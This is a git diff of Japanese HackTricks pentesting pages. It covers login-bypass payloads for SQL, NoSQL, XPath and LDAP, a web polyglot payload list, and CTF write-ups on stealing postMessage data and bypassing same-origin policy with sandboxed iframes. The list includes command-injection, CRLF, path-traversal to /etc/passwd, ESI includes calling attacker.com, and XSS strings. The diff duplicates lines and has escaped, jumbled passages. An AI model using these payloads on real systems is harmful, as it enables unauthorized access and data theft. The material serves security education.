* Nodejsはそのペイロードを次のようなクエリに変換します` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` これにより、パスワードビットが常にtrueになります。
* JSONオブジェクトを送信できる場合、`"password":{"password": 1}`を送信してログインをバイパスできます。
* このログインをバイパスするには、**有効なユーザー名を知り、送信する必要がある**ことを忘れないでください
* `mysql.createConnection`を呼び出す際に**`"stringifyObjects":true`**オプションを追加すると、**パラメータに`Object`が渡されたときのすべての予期しない動作をブロック**します。
* 認証情報を確認する
* 使用されている技術/プラットフォームの[**デフォルトの認証情報**](../../generic-methodologies-and-resources/brute-force.md#default-credentials)
* **一般的な組み合わせ**root、admin、password、技術の名前、これらのパスワードのいずれかを持つデフォルトユーザー)。
* **Cewl**を使用して辞書を作成し、**デフォルト**のユーザー名とパスワード(ある場合)を追加し、すべての単語を**ユーザー名とパスワード**としてブルートフォースを試みる。
* **より大きな辞書を使用してブルートフォース**[**ブルートフォース**](../../generic-methodologies-and-resources/brute-force.md#http-post-form)
### SQLインジェクション認証バイパス
[ここで、**SQLインジェクション**を介してログインをバイパスするためのいくつかのトリックを見つけることができます](../sql-injection/#authentication-bypass)。
[ここで、**SQLインジェクション**を介してログインをバイパスするためのいくつかのトリックを見つけることができます](../sql-injection/#authentication-bypass)。
次のページでは、SQLインジェクションを介してログインをバイパスするための**カスタムリスト**を見つけることができます:
@ -51,13 +54,13 @@
### No SQLインジェクション認証バイパス
[ここで、**No SQLインジェクション**を介してログインをバイパスするためのいくつかのトリックを見つけることができます](../nosql-injection.md#basic-authentication-bypass)**。**
[ここで、**No SQLインジェクション**を介してログインをバイパスするためのいくつかのトリックを見つけることができます](../nosql-injection.md#basic-authentication-bypass)**。**
NoSQLインジェクションはパラメータの値を変更する必要があるため、手動でテストする必要があります。
### XPathインジェクション認証バイパス
[ここで、**XPathインジェクション**を介してログインをバイパスするためのいくつかのトリックを見つけることができます](../xpath-injection.md#authentication-bypass)
[ここで、**XPathインジェクション**を介してログインをバイパスするためのいくつかのトリックを見つけることができます](../xpath-injection.md#authentication-bypass)
```
' or '1'='1
' or ''='
@ -75,7 +78,7 @@ admin' or '1'='2
```
### LDAPインジェクション認証バイパス
[ここでは、**LDAPインジェクション**を使用してログインをバイパスするためのいくつかのトリックを見つけることができます。](../ldap-injection.md#login-bypass)
[ここでは、**LDAPインジェクション**をしてログインをバイパスするためのいくつかのトリックを見つけることができます。](../ldap-injection.md#login-bypass)
```
*
*)(&
@ -91,31 +94,34 @@ admin))(|(|
```
### Remember Me
ページに "**Remember Me**" 機能がある場合は、その実装方法を確認し、他のアカウントを **乗っ取る** ことができるかどうかを調べてください。
ページに「**Remember Me**」機能がある場合、その実装方法を確認し、**他のアカウントを乗っ取る**ために悪用できるかどうかを見てください。
### Redirects
通常、ログイン後にページがユーザーをリダイレクトします。そのリダイレクトを変更して [**Open Redirect**](../open-redirect.md) を引き起こすことができるかどうかを確認してください。ユーザーをあなたのウェブサイトにリダイレクトすることで、情報(コード、クッキーなど)を盗むことができるかもしれません。
ページは通常、ログイン後にユーザーをリダイレクトします。そのリダイレクトを変更して[**Open Redirect**](../open-redirect.md)を引き起こすことができるか確認してください。ユーザーを自分のウェブサイトにリダイレクトすると、情報(コード、クッキーなど)を盗むことができるかもしれません。
## その他のチェック
## Other Checks
* ログイン機能を悪用して **ユーザー名を列挙** できるかどうかを確認してください。
* パスワード/**機密情報** の **フォーム****入力****自動入力** が有効になっているかどうかを確認してください:`<input autocomplete="false"`
* ログイン機能を悪用して**ユーザー名を列挙**できるか確認してください。
* パスワード/**敏感**情報**フォーム**の**入力**で**自動補完**が有効になっているか確認してください:`<input autocomplete="false"`
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)**スペイン** で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ** でも最も重要なイベントの一つです。技術的知識の促進を使命とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。
[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業** で働いていますか? **HackTricks で会社を宣伝** したいですか?または **PEASS の最新バージョンにアクセス** したいですか?または **HackTricks をPDFでダウンロード** したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com) を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォロー** してください。
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks) と [hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)** にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,34 +1,69 @@
# Web Vulns List
## Web Vulns List
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* \*\*ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)\*\*にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
```python
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
\`\`\`python \{{7\*7\}}\[7\*7] 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /\*$(sleep 5)\`sleep 5\`\`\*/-sleep(5)-'/\*$(sleep 5)\`sleep 5\` #\*/-sleep(5)||'"||sleep(5)||"/\*\`\*/ %0d%0aLocation:%20http://attacker.com %3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E %3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E\
<details>
<summary>HackTricksをサポートする</summary>
## THIS IS AND INJECTED TITLE
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
/etc/passwd ../../../../../../etc/hosts ..\\..\\..\\..\\..\\..\etc/hosts /etc/hostname ../../../../../../etc/hosts C:/windows/system32/drivers/etc/hosts ../../../../../../windows/system32/drivers/etc/hosts ..\\..\\..\\..\\..\\..\windows/system32/drivers/etc/hosts http://asdasdasdasd.burpcollab.com/mal.php \\\asdasdasdasd.burpcollab.com/mal.php www.whitelisted.com www.whitelisted.com.evil.com https://google.com //google.com javascript:alert(1) (\\\w\*)+$ (\[a-zA-Z]+)\*$ ((a+)+)+$ x=>alert(/Chrome%20XSS%20filter%20bypass/);> \{{7\*7\}}${7\*7}<%= 7\*7 %>$\{{7\*7\}}#{7\*7}$\{{<%\[%'"\}}%\ " onclick=alert() a=" '">![](https://github.com/carlospolop/hacktricks/blob/jp/pentesting-web/pocs-and-polygloths-cheatsheet/x) javascript:alert() javascript:"/\*'/\*\`/\*--> -->'"/>
&#x20;">>![](https://github.com/carlospolop/hacktricks/blob/jp/pentesting-web/pocs-and-polygloths-cheatsheet/x)" >\<script>prompt(1)\</script>@gmail.com\<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" >\</script>\<script>alert(1)\</script>">\<img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'">\<img src="http: //i.imgur.com/P8mL8.jpg">\
" onclick=alert(1)//\<button onclick=alert(1)//> \*/ alert(1)//\
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >\</SCRIPT>">'>\<SCRIPT>alert(String.fromCharCode(88,83,83)) \</SCRIPT>\
\`\`\`\
\<details>**ゼロからヒーローまでAWSハッキングを学ぶ** [**htARTEHackTricks AWS Red Team Expert**](https://training.hacktricks.xyz/courses/arte)****
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitterで**私をフォロー**してください 🐦**[**@carlospolopm**](https://twitter.com/hacktricks\_live)。\*\*
* \*\*ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)\*\*にPRを提出してください。
</details>
{% endhint %}

View file

@ -1,28 +1,31 @@
# ポストメッセージを盗むためにメインページをブロックする
# Blocking main page to steal postmessage
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションを見つけます
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## IframesでRCを獲得する
## Winning RCs with Iframes
この[**Terjanqの解説**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710)によると、ヌル起源から作成されたblobドキュメントはセキュリティ上の利点のために分離されており、つまり、メインページをビジーにしておくと、iframeページが実行されます。
According to this [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) blob documents created from null origins are isolated for security benefits, which means that if you maintain busy the main page, the iframe page is going to be executed.
基本的に、そのチャレンジでは**分離されたiframeが実行**され、**ロードされた直後**に**親**ページが**フラグを含むポスト**メッセージを**送信**します。\
ただし、そのポストメッセージ通信は**XSSに対して脆弱**です(**iframe**はJSコードを実行できます
基本的にこのチャレンジでは、**孤立したiframeが実行され**、**読み込まれた後**に**親**ページが**フラグ**を含む**post**メッセージを**送信**します。\
しかし、そのpostmessage通信は**XSSに脆弱**です(**iframe**はJSコードを実行できます
したがって、攻撃者の目標は、**親がiframeを作成**させるが、**親**ページが**機密データ(フラグ)を送信**する**前に**それを**ビジーにしてiframeにペイロードを送信**することです。**親がビジーである間**、**iframeはペイロードを実行**し、**親のポストメッセージメッセージを盗み、フラグを漏洩**します。\
後に、iframeがペイロードを実行し、親ページがビジーでなくなると、フラグを送信し、ペイロードが漏洩します。
したがって、攻撃者の目標は**親にiframeを作成させる**ことですが、**親**ページが**機密データ(**フラグ**)を**送信**する前に**それを**忙しくさせ**、**ペイロードをiframeに送信**させることです。**親が忙しい間**、**iframeはペイロードを実行**し、これは**親のpostmessageメッセージをリッスンし、フラグを漏洩**させるJSになります。\
終的に、iframeはペイロードを実行し、親ページは忙しさをやめるので、フラグを送信し、ペイロードがそれを漏洩させます。
しかし、親を**iframeを生成した直後にビジーにさせ、iframeが準備完了して機密データを送信するのを待っている間だけビジーにさせる**方法はどうすればよいでしょうか?基本的に、親が**実行**する**非同期アクション**を見つける必要があります。たとえば、そのチャレンジでは、親が次のように**ポストメッセージ**を**リッスン**していました:
しかし、どのようにして親を**iframeを生成した直後に忙しくさせ、iframeが機密データを送信する準備ができるのを待っている間だけ忙しくさせることができるでしょうか** 基本的に、**非同期**の**アクション**を見つけて、親に**実行**させる必要があります。例えば、このチャレンジでは親が**postmessages**を次のように**リッスン**していました:
```javascript
window.addEventListener('message', (e) => {
if (e.data == 'blob loaded') {
@ -30,21 +33,24 @@ $("#previewModal").modal();
}
});
```
したがって、**postmessage** で**大きな整数を送信**し、その比較で**文字列に変換**される可能性があり、それには時間がかかります。
そのため、**postmessageで大きな整数を送信する**ことが可能であり、その比較で**文字列に変換される**ため、時間がかかることになります:
```bash
const buffer = new Uint8Array(1e7);
win?.postMessage(buffer, '*', [buffer.buffer]);
```
そして、**iframe**が作成された直後に**postmessage**を正確に**送信**し、親からデータを受信する準備が整う前に、`setTimeout`のミリ秒を調整する必要があります。
そして、正確に**postmessage**を**iframe**が作成された**後**、しかし親からデータを受け取る準備ができる**前**に**送信**するためには、`setTimeout`のミリ秒を**調整**する必要があります。
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングテクニックを共有してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# SOPをIFrameでバイパスする - 1
# SOPをIframesでバイパスする - 1
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
## SOP-1のIFrames
## SOP-1におけるIframes
この[**challenge**](https://github.com/terjanq/same-origin-xss)は、[**NDevTK**](https://github.com/NDevTK)と[**Terjanq**](https://github.com/terjanq)によって作成されました。ここではコード内のXSSを悪用する必要があります。
この[**チャレンジ**](https://github.com/terjanq/same-origin-xss)は、[**NDevTK**](https://github.com/NDevTK)と[**Terjanq**](https://github.com/terjanq)によって作成され、XSSを悪用する必要があります。
```javascript
const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
@ -25,22 +28,49 @@ renderContainer.innerHTML = data.body;
}
}
```
### SOPバイパス1e.origin === null
The main problem is that the [**main page**](https://so-xss.terjanq.me) uses DomPurify to send the `data.body`, so in order to send your own html data to that code you need to **bypass** `e.origin !== window.origin`.
`//example.org`が**sandbox付きのiframe**に埋め込まれると、ページの**origin**は**`null`**になります。つまり、**`window.origin === null`**です。したがって、`<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`を通じてiframeを埋め込むことで、**`null` origin**を強制できます。
Let's see the solution they propose.
ページが**埋め込み可能**であれば、その保護をバイパスすることができます(クッキーも`SameSite=None`に設定する必要があるかもしれません)。
### SOP bypass 1 (e.origin === null)
### SOPバイパス2window.origin === null
When `//example.org` is embedded into a **sandboxed iframe**, then the page's **origin** will be **`null`**, i.e. **`window.origin === null`**. So just by embedding the iframe via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` we could **force the `null` origin**.
あまり知られていない事実は、**sandbox値が`allow-popups`に設定されている**場合、**開かれたポップアップ**は`allow-popups-to-escape-sandbox`が設定されていない限り、すべての**sandbox属性**を**継承**します。\
したがって、**`null` origin**から**ポップアップ**を開くと、ポップアップ内の**`window.origin`**も**`null`**になります。
If the page was **embeddable** you could bypass that protection that way (cookies might also need to be set to `SameSite=None`).
### チャレンジの解決策
### SOP bypass 2 (window.origin === null)
したがって、このチャレンジでは、**iframeを作成**し、脆弱なXSSコードハンドラ`/iframe.php`)があるページに**ポップアップを開く**ことができます。`window.origin === e.origin`となるため、両方が`null`であるため、**XSSを悪用するペイロードを送信**することが可能です。
The lesser known fact is that when the **sandbox value `allow-popups` is set** then the **opened popup** will **inherit** all the **sandboxed attributes** unless `allow-popups-to-escape-sandbox` is set.\
So, opening a **popup** from a **null origin** will make **`window.origin`** inside the popup also **`null`**.
その**ペイロード**は**識別子**を取得し、**XSS**を**トップページ**(ポップアップを開いたページ)に**送信**します。**トップページ**は**脆弱な**`/iframe.php`に**ロケーションを変更**します。識別子が既知であるため、条件`window.origin === e.origin`が満たされていなくても問題ありません覚えておいてください、originは**iframe**からの**ポップアップ**で**`null` origin**を持っています)**data.identifier === identifier**。その後、**XSSが再度トリガー**され、今度は正しいoriginで実行されます。
### Challenge Solution
Therefore, for this challenge, one could **create** an **iframe**, **open a popup** to the page with the vulnerable XSS code handler (`/iframe.php`), as `window.origin === e.origin` because both are `null` it's possible to **send a payload that will exploit the XSS**.
